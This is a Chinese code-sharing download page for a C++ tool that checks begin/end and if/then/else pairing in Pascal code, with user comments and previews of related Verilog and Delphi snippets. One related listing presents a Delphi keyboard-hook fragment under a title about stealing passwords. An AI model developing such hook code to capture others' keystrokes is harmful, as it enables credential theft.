下载 >  开发技术 >  C++ > 检查pascal程序代码begin和end,if和then和else匹配程序

检查pascal程序代码begin和end,if和then和else匹配程序 评分:

检查pascal程序代码begin和end,if和then和else匹配程序。
2011-11-16 上传大小:4.22MB
立即下载 开通VIP
分享
收藏 (7) 举报

评论 共6条

yunlaowang 还行,挺齐全的
2017-10-27
回复
weixin_40534773 非常感谢,急用
2017-10-11
回复
qq_24966613 挺不错的,正是我所需要的啊
2015-10-24
回复
mylove1973 不是我想要的不过还是谢谢了
2014-12-15
回复
u010112589 恩,还行,有时候有bug
2013-11-11
回复
zhanghongce 还可以吧……虽然有时候会有小错误
2012-11-21
回复
Pascal教程
关于存储过程中begin end 的嵌套 谢谢
【转载】vim 实现begin end 配对 使用matchit插件
【HUSTOJ】1056: 数字走向I
为什么有些Begin..end语句块end后面要加分号,而有的则不用加分号?
pascal语法介绍
Pascal语法检测

对给定一个Pascal源文件,检查其中 (1)begin与end (2)if,then,else 是否合法配对。 对于begin与end,可以理解为C语言中的“{”与“}” 对于if,then,else,可以这么理解:if与then合在一起相当于C语言中的if, else与C语言中的else完全相同。 ((Given a Pascal source file, to check which (1) begin and end (2) if, then, else the legality of pairing. For begin and end, can be understood as t

立即下载
GVIM语法自动匹配设置文件

如果你是个uvm验证人员,或者design,你肯定用过%来自动匹配从Begin到end的跳转,写perl的时候想知道哪个括号和哪个括号是匹配对应的,或者复制的时候用y%来复制一段,或者输入begin敲回车会自动联想出end等等。 把这个文件放入.vim/indent/ 下面,.vimrc里加上这句话autocmd BufRead,BufNewFile *.v,*.vh,*.sv,*.svh, so ~/.vim/indent/verilog_systemverilog.vim

立即下载
锁相环解码

锁相环解码 verilog语言 if(~reset) begin counter <= 0; m_clk <= 0; end else begin counter <= counter + 1; if(counter == counter_L) begin m_clk <= 1; end else if(counter == counter_H) begin m_clk <= 0; counter <= 0; end end end

立即下载
verilog FSM 范例

verilog FSM 范例 //FSM always @(posedge clk or negedge rst_n)begin if(rst_n == 1'd0)begin sta_curr <= S_IDLE; end else begin sta_curr <=#U_DLY sta_next; end end always @(*)begin case(sta_curr) S_IDLE:begin if(s_idle_jump==1'd1) st

立即下载
delphi测试是否联网

使用GetSystemMetrics procedure TForm1.Button1Click(Sender: TObject); begin if(GetSystemMetrics(SM_NETWORK)and $01=$01) then begin ShowMessage('网络已存在'); end else begin ShowMessage('未联网'); end; end;

立即下载
小型自行车管理信息系统

课程设计题目,做的比较简单procedure TForm1.Button2Click(Sender: TObject); begin form1.Close; end; procedure TForm1.Button1Click(Sender: TObject); begin if edit1.Text='' then showmessage('请输入用户名') else if edit2.Text='' then showmessage('请输入密码') else begin adoquery1.Close; adoquery1.SQL.Clear ;

立即下载
verilog语言的任意分频

module clk_div(clk_sys, rst, clk_out,div_num); input clk_sys; input rst; input [4:0] div_num; output clk_out; reg clk_out; reg [3:0] baud_count; always @(posedge clk_sys) begin if (rst) begin baud_count<=0; clk_out<=0; end else

立即下载
delphi_遍历文件夹

while SRI = 0 do begin if (SR.Name = '.') or (SR.Name = '..') then begin //不用做 end else if SR.Attr = faDirectory then begin if CheckBox1.Checked then begin Start(APath + '\' + sr.Name, SR.Name, ndRoot); end; end else begin Num := Nu

立即下载
delphi hook 抓屏

var intPos,intX,intY: longint; begin intPos := message.lParam; intX := Trunc(intPos/10000); intY := (intPos mod 10000); if not CutRange.MouseIsDown then begin if not ((intX>Left) and (intX<Left+47) and (intY>Top) and (intY<Top+Height)) then begin MoveWindow(CutRangeFormHan

立即下载
delphi hook动作回放

procedure InitEventArrs(Var ST: TEventArrs); begin Zeromemory(@ST,sizeof(TEventArrs)); ST.EventLogs := 0; end; procedure InsertEventArrs(Var ST: TEventArrs; EvMsg: EVENTMSG); begin ST.EventArr[ST.EventLogs] := EvMsg; Inc(ST.EventLogs); end; procedure WriteEventArrs(Var ST: TEventAr

立即下载
数控脉冲信号发生器(基于FPGA的设计)

一个运用FPGA产生波形的电路。 module lcnt(clk,rst_n,ld,d,cao); input clk; input ld; input [7:0]d; input rst_n; output cao; reg [7:0] count; reg cao; always@(posedge clk ) begin if (!rst_n) begin count<=8'b00000000; end else if (ld) begin count<=d; end else begin c

立即下载
登陆界面 login

简单的登陆写法。适合初学者。 implementation uses main; {$R *.dfm} procedure TForm2.Button1Click(Sender: TObject); begin if Edit1.Text = 'mking' then begin Form2.Free; Application.CreateForm(TForm1,Form1); Application.Run; end else begin ShowMessage('密码错误!'); Close;

立即下载
verilog-------时钟设计

FPGA 综合实验 always @(posedge clock0 or posedge clr) begin if (clr == 1) begin clk_temp <= 0; clock1<= 0; end else begin clk_temp <= clk_temp + 1; if (clk_temp == 7'b1111111) clock1 <= clock1+1; else clock1 <= clock1; end

立即下载
Hook怎样获取Keyboard资料——盗取密码

function PlayProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall; begin canPlay:=1; Result:=0; if iCode<0 then Result:=CallNextHookEx(hPlay,iCode,wParam,lParam) else if iCode=HC_SYSMODALON then canPlay:=0 else if ((canPlay=1) and (iCode=HC_GETNEXT)) then begin if

立即下载

热点文章

img

spring mvc+mybatis+mysql+maven+bootstrap 整合实现增删查改简单实例.zip

资源所需积分/C币 当前拥有积分 当前拥有C币
5 0 0
点击完成任务获取下载码
输入下载码
为了良好体验,不建议使用迅雷下载
img

检查pascal程序代码begin和end,if和then和else匹配程序

会员到期时间: 剩余下载个数: 剩余C币: 剩余积分:0
为了良好体验,不建议使用迅雷下载
VIP下载
您今日下载次数已达上限(为了良好下载体验及使用,每位用户24小时之内最多可下载20个资源)

积分不足!

资源所需积分/C币 当前拥有积分
您可以选择
开通VIP
4000万
程序员的必选
600万
绿色安全资源
现在开通
立省522元
或者
购买C币兑换积分 C币抽奖
img

资源所需积分/C币 当前拥有积分 当前拥有C币
5 4 45
为了良好体验,不建议使用迅雷下载
确认下载
img

资源所需积分/C币 当前拥有积分 当前拥有C币
1 0 0
为了良好体验,不建议使用迅雷下载
VIP和C币套餐优惠
img

资源所需积分/C币 当前拥有积分 当前拥有C币
5 4 45
您的积分不足,将扣除 10 C币
为了良好体验,不建议使用迅雷下载
确认下载
下载
您还未下载过该资源
无法举报自己的资源

兑换成功

你当前的下载分为234开始下载资源
你还不是VIP会员
开通VIP会员权限,免积分下载
立即开通

你下载资源过于频繁,请输入验证码

您因违反CSDN下载频道规则而被锁定帐户,如有疑问,请联络:webmaster@csdn.net!

举报

若举报审核通过,可返还被扣除的积分

  • 举报人:
  • 被举报人:
  • *类型:
    • *投诉人姓名:
    • *投诉人联系方式:
    • *版权证明:
  • *详细原因: